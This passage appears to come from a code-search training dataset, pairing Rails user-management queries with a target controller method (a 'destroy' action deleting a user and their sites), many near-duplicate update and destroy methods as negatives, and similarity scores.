"def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash.now[:notice] = 'Successfully updated.'\n format.html { render :action => \"edit\" }\n format.xml { head :ok }\n else\n flash.now[:error] = 'Could not update. Please see errors below...'\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(users_url, :notice => 'User has been updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to user_url(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors.to_xml }\n end\n end\n end",
"def update_user(user, options = {})\n put \"/users/#{user}\", options\n end",
"def update(context, name, should)\n res = context.transport.put_request(context, \"security/users/#{name}\", keys_to_camelcase(should))\n\n context.err(name, res.body) unless res.success?\n end",
"def update(id, params = {})\n request(:put, \"/users/#{id}\", body: params)\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(users_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to root_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(:action => :index) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n #@user = User.find_by_id(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find_by_id(params[:id])\n if @user.nil?\n redirect_back_or_default('/')\n end\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = t('users.updated')\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_org.users.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n user = User.find(params[:id])\n\n user.attributes = {\n name: params[:name]\n }\n\n user_save user\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to :action => :index }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(home_url()) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"User #{@user.username} was successfully updated.\"\n format.html { redirect_to(:action =>'show', :id => @user.id) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n head :ok\n else\n render :xml => @user.errors, :status => :unprocessable_entity\n end\n rescue\n render :nothing => true, :status => :not_found\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n logger.info 'ffffff'\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_user\n end",
"def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user == current_user && @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def update\n @user_name = UserName.find(params[:id])\n\n respond_to do |format|\n if @user_name.update_attributes(params[:user_name])\n format.html { redirect_to(@user_name, :notice => 'User name was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_name.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end",
"def update_user\n @user = User.find(params[:id])\n @user.update(params[:user])\n redirect \"/users/#{@user.id}\"\nend",
"def update_user(id, attributes)\n elektron_identity.put(\"users/#{id}\") { { user: attributes } }.body[\n \"user\"\n ]\n end",
"def update\n if current_user.is_admin?\n @user = User.find(params[:id])\n @user.update_attributes!(params[:user])\n respond_to do |format|\n format.xml { render :xml => @user.to_xml }\n end\n else \n respond_to do |format|\n format.xml { render :text => \"error\" }\n end\n end\n rescue ActiveRecord::RecordInvalid\n respond_to do |format|\n format.xml do\n unless @user.errors.empty?\n render :xml => @user.errors.to_xml_full\n else\n render :text => \"error\"\n end\n end\n end\n end",
"def append_user_info(username, xml); end",
"def update(args)\n builder.update_rest(type, ref, args, username, password)\n self.elements(true)\n end",
"def update\n @user = User.find(self.current_user)\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:success] = 'You Have Successfully Updated Your Details'\n format.html { redirect_to user_url(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors.to_xml }\n end\n end\n end",
"def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.xml { head :no_content }\n else\n format.html { render action: 'edit' }\n format.xml { render xml: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(admin_users_path, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_user\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(root_url, :notice => 'Successfully updated profile.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to user_url(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors.to_xml }\n end\n end\n end",
"def update\n @user = @current_user\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(@user, notice: 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :edit }\n format.xml { render xml: @user.errors, status: :unprocessable_entity }\n #render action: :edit\n end\n end\n end",
"def update\n @userinfo = Userinfo.find(params[:id])\n\n respond_to do |format|\n if @userinfo.update_attributes(params[:userinfo])\n flash[:notice] = 'Userinfo was successfully updated.'\n format.html { redirect_to(@userinfo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @userinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def append_user_info(username, xml)\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to([:admin, @user], notice: 'User was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated user #{@user.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @email_user = Email::User.find(params[:id])\n\n respond_to do |format|\n if @email_user.update_attributes(params[:email_user])\n format.html { redirect_to(@email_user, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @email_user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n get_list\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"User #{@user.fname} #{@user.lname} was successfully updated.\"\n format.html { redirect_to(:action => :index) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = @current_user\n respond_to do |format|\n if @user.update_attributes(user_params)\n format.html { redirect_to(@user, notice: 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_back_or_default('/home') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update_user(user_name:, user:)\n validate_user_name(:user_name, user_name)\n response = wrap_response(@connection.put(user_path(user_name), user))\n\n response.fmap { |r| SftpgoClient::ApiResponse.new(r.body) }\n end",
"def update\n respond_to do |format|\n if @v1_user.update(v1_user_params)\n format.html { redirect_to @v1_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_user }\n else\n format.html { render :edit }\n format.json { render json: @v1_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"def update\n authorize! :edit, User\n @user = User.find(params[:id])\n return_url = users_url(:use_session => true)\n respond_to do |format|\n if @user.update_attributes(params[:user])\n do_extra_actions\n format.html { redirect_to return_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors.to_xml }\n end\n end\n end"
] |
[
"0.6635185",
"0.6546547",
"0.6365357",
"0.6259716",
"0.6222739",
"0.62200224",
"0.6171894",
"0.6131896",
"0.61308634",
"0.61273426",
"0.6110778",
"0.6106035",
"0.61059886",
"0.60566944",
"0.603521",
"0.603402",
"0.6016474",
"0.6012614",
"0.6003888",
"0.5980906",
"0.59783655",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59716195",
"0.59639215",
"0.5961382",
"0.5960923",
"0.5944867",
"0.5942121",
"0.5939474",
"0.5935369",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59287465",
"0.59286344",
"0.58771265",
"0.5862105",
"0.5861657",
"0.5857191",
"0.5855065",
"0.583769",
"0.5836301",
"0.5834028",
"0.58322763",
"0.58321893",
"0.5831645",
"0.5821807",
"0.5821807",
"0.5820271",
"0.5810972",
"0.5810972",
"0.5792553",
"0.57708806",
"0.5769985",
"0.5766469",
"0.5751806",
"0.57428735",
"0.573235",
"0.5726207",
"0.5723758",
"0.5722203",
"0.57212436",
"0.57170606",
"0.57156706",
"0.5715483",
"0.5710122",
"0.57029873",
"0.57004213",
"0.5700004",
"0.5684462",
"0.56807685",
"0.56713474",
"0.56695104",
"0.56686497",
"0.5664146",
"0.5662711",
"0.5646595",
"0.563599",
"0.5630297",
"0.5626564",
"0.56081694",
"0.5605057",
"0.5605057",
"0.55990845",
"0.55977696"
] |
0.0
|
-1
|
DELETE /users/1 DELETE /users/1.xml
|
def destroy
@user = User.find(params[:id])
@user.destroy
Site.where(:user_id => params[:id]).each do |site|
site.destroy
puts "chciałbym usunąć adres #{site.adres.to_yaml}"
end
respond_to do |format|
format.html { redirect_to(users_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n @user = User.find(params[:id])\n @user.rvsps.delete_all()\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def delete_users\n delete(users_path)\n end",
"def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @users = Users.find(params[:id])\n @users.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find_by_urlname(params[:id])\n @user.destroy\n \n respond_to do |format|\n flash[:notice] = \"User deleted from the system\"\n format.html { redirect_to users_path }\n format.xml { head :ok }\n end\n end",
"def destroy\n user = User.get(params[:id])\n user.destroy if user\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
